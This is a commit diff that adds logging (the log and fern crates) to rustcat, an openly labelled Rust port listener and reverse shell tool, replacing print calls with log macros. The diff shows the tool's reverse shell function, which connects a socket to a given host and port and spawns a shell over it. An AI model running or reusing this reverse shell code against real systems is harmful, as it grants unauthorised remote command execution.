Implement a logger

Cargo.toml

@@ -2,8 +2,8 @@
 name = "rustcat"
 version = "2.1.0"
 authors = ["robiot"]
-description = "rustcat - The Modern Port Listener & Reverse Shell"
-license = "MIT"
+description = "The Modern Port Listener and Reverse Shell"
+license = "GPL-3.0"
 repository = "https://github.com/robiot/rustcat"
 edition = "2021"
 
@@ -12,9 +12,11 @@ name = "rcat"
 path = "src/main.rs"
 
 [dependencies]
-clap = {version = "3.2.17", features = ["derive"]}
+clap = { version = "3.2.17", features = ["derive"] }
 colored = "2.0.0"
 rustyline = "10.0.0"
+log = "0.4.17"
+fern = { version = "0.6.1", features = ["colored"] }
 
 [target.'cfg(unix)'.dependencies]
 termios = "0.3"

src/input.rs

@@ -15,6 +15,9 @@ use clap::{Parser, Subcommand};
 pub struct Opts {
     #[clap(subcommand)]
     pub command: Command,
+
+    // #[clap(short, long)]
+    // verbose: bool,
 }
 
 #[derive(Subcommand, Debug)]

src/listener/mod.rs

@@ -3,7 +3,6 @@ Name: listener.rs
 Description: Listens on given arguments.
 */
 
-use crate::utils::print_error;
 use colored::Colorize;
 use rustyline;
 use rustyline::error::ReadlineError;
@@ -32,18 +31,14 @@ pub enum Mode {
     LocalInteractive,
 }
 
-fn print_started_listen(opts: &Opts) {
-    println!("Listening on {}:{}", opts.host.green(), opts.port.cyan());
-}
-
 fn print_connection_recieved() {
-    println!("{} Connection Recived", "[+]".green());
+    log::info!("Connection Recived");
 }
 
 // It will complain on unix systems without this lint rule.
 #[allow(dead_code)]
 fn print_feature_not_supported() {
-    print_error("This feature is not supported on your platform");
+    log::error!("This feature is not supported on your platform");
 }
 
 fn pipe_thread<R, W>(mut r: R, mut w: W) -> JoinHandle<()>
@@ -57,19 +52,19 @@ where
         loop {
             match r.read(&mut buffer) {
                 Ok(0) => {
-                    println!("\n{} Connection lost", "[-]".red());
+                    log::warn!("Connection lost");
 
                     exit(0);
                 }
                 Ok(len) => {
                     if let Err(err) = w.write_all(&buffer[..len]) {
-                        print_error(err);
+                        log::error!("{}", err);
 
                         exit(1);
                     }
                 }
                 Err(err) => {
-                    print_error(err);
+                    log::error!("{}", err);
 
                     exit(1);
                 }
@@ -104,7 +99,7 @@ fn listen_tcp_normal(stream: TcpStream, opts: &Opts) -> Result<()> {
 pub fn listen(opts: &Opts) -> rustyline::Result<()> {
     let listener = TcpListener::bind(format!("{}:{}", opts.host, opts.port))?;
 
-    if opts.block_signals {
+    if opts.block_signals  {
         #[cfg(unix)]
         {
             Signals::new(&[consts::SIGINT])?;
@@ -116,7 +111,7 @@ pub fn listen(opts: &Opts) -> rustyline::Result<()> {
         }
     }
 
-    print_started_listen(opts);
+    log::info!("Listening on {}:{}", opts.host.green(), opts.port.cyan());
 
     let (mut stream, _) = listener.accept()?;
     match &opts.mode {
@@ -166,7 +161,7 @@ fn readline_decorator(mut f: impl FnMut(String)) -> rustyline::Result<()> {
             Err(err) => match err {
                 ReadlineError::Interrupted | ReadlineError::Eof => exit(0),
                 err => {
-                    print_error(err);
+                    log::error!("{}", err);
 
                     exit(1);
                 }

src/main.rs

@@ -1,9 +1,10 @@
 use clap::Parser;
+use fern::colors::{Color, ColoredLevelConfig};
 
 mod input;
 mod listener;
-mod utils;
-use utils::print_error;
+
+// use colored::Colorize;
 
 #[cfg(unix)]
 mod unixshell;
@@ -21,6 +22,30 @@ fn host_from_opts(host: Vec<String>) -> Result<(String, String), String> {
 }
 
 fn main() {
+    // Configure logger
+    if let Err(err) = fern::Dispatch::new()
+        .format(|out, message, record| {
+            let colors = ColoredLevelConfig::new()
+                .warn(Color::Yellow)
+                .info(Color::BrightGreen)
+                .error(Color::Red);
+
+            out.finish(format_args!(
+                "{}{} {}",
+                colors.color(record.level()).to_string().to_lowercase(), // Hardcoded red .red().bold()
+                ":",
+                message
+            ))
+        })
+        // .level(log::LevelFilter::Error) // For if verbose mode is implemented
+        .chain(std::io::stdout())
+        .apply()
+    {
+        println!("Failed to initialize logger: {}", { err });
+
+        return;
+    }
+
     let opts = input::Opts::parse();
 
     match opts.command {
@@ -34,7 +59,7 @@ fn main() {
             let (host, port) = match host_from_opts(host) {
                 Ok(value) => value,
                 Err(err) => {
-                    print_error(err);
+                    log::error!("{}", err);
 
                     return;
                 }
@@ -55,7 +80,7 @@ fn main() {
             };
 
             if let Err(err) = listener::listen(&opts) {
-                print_error(err);
+                log::error!("{}", err);
 
                 return;
             };
@@ -64,23 +89,23 @@ fn main() {
             let (host, port) = match host_from_opts(host) {
                 Ok(value) => value,
                 Err(err) => {
-                    print_error(err);
+                    log::error!("{}", err);
 
                     return;
                 }
             };
 
-            // Block usage on windows
-            #[cfg(windows)]
-            {
-                print_error("This feature is not supported for windows");
+            #[cfg(unix)]
+            if let Err(err) = unixshell::shell(host, port, shell) {
+                log::error!("{}", err);
 
                 return;
             }
 
-            #[cfg(unix)]
-            if let Err(err) = unixshell::shell(host, port, shell) {
-                print_error(err);
+            // Block usage on other operating systems
+            #[cfg(not(unix))]
+            {
+                log::error!("This feature is not supported on your platform");
 
                 return;
             }

src/unixshell.rs

@@ -9,8 +9,8 @@ use std::os::unix::io::{AsRawFd, FromRawFd};
 use std::process::{Command, Stdio};
 
 /* Open A Reverse Shell */
-pub fn shell(ip: String, port: String, shell: String) -> Result<()> {
-    let sock = TcpStream::connect(format!("{}:{}", ip, port))?;
+pub fn shell(host: String, port: String, shell: String) -> Result<()> {
+    let sock = TcpStream::connect(format!("{}:{}", host, port))?;
     let fd = sock.as_raw_fd();
 
     // Open shell
@@ -22,7 +22,7 @@ pub fn shell(ip: String, port: String, shell: String) -> Result<()> {
         .spawn()?
         .wait()?;
 
-    println!("Shell exited");
+    log::warn!("Shell exited");
 
     Ok(())
 }